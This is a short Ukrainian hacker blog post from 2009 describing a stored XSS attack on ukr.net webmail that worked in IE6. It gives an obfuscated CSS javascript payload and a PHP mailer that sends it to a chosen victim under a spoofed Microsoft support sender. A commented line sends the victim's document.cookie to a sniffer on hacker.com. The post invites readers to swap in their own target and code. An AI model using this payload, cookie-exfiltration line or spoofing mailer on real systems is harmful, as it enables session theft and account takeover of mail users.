Active XSS на пошті ukr.net
В травні місяці довелось мені переглянути вихідний код одного листа на укр неті. І побачив я одну цікаву особливість, а саме, текст листа був у такому вигляді:
-
<script> messageBody = ‘\nPew pew!’;
-
readmsgSetMessageBody();
-
</script>
Вже в голові закрутились думки про XSS =) . Покопався ще трохи, та дійшов до такого коду:
<font style="background:url\(javas/**/cript:eval(String.fromCharCode(
[evil encoded code])))">
Мінусом є те, що працює лишень в IE 6
Для зурчності написав невеличкий скрипт для відправки:
-
<?php
-
/**
-
* (c) Dimi4, 2009
-
*
-
*/
-
$target = "petya@ukr.net";
-
$subj = "Pew pew!";
-
$payload ="";
-
$evilcode="alert(1);"; //img = new Image(); img.src = "http://hacker.com/sniffer/s.gif?"+document.cookie;
-
for($i=0; $i !== $strlen; $i++)
-
{
-
}
-
$header = "From: support@microsoft.com\r\n";
-
$header .= "MIME-Version: 1.0\r\n";
-
$header .= "Content-Type: text/html\r\n";
-
$msg =‘<font style="background:url\(javas/**/cript:eval(String.fromCharCode(‘.$payload.‘)))">’;
-
?>
Змінюєм $target та $evilcode і вуаля! ))
© Dimi4
Хакір!1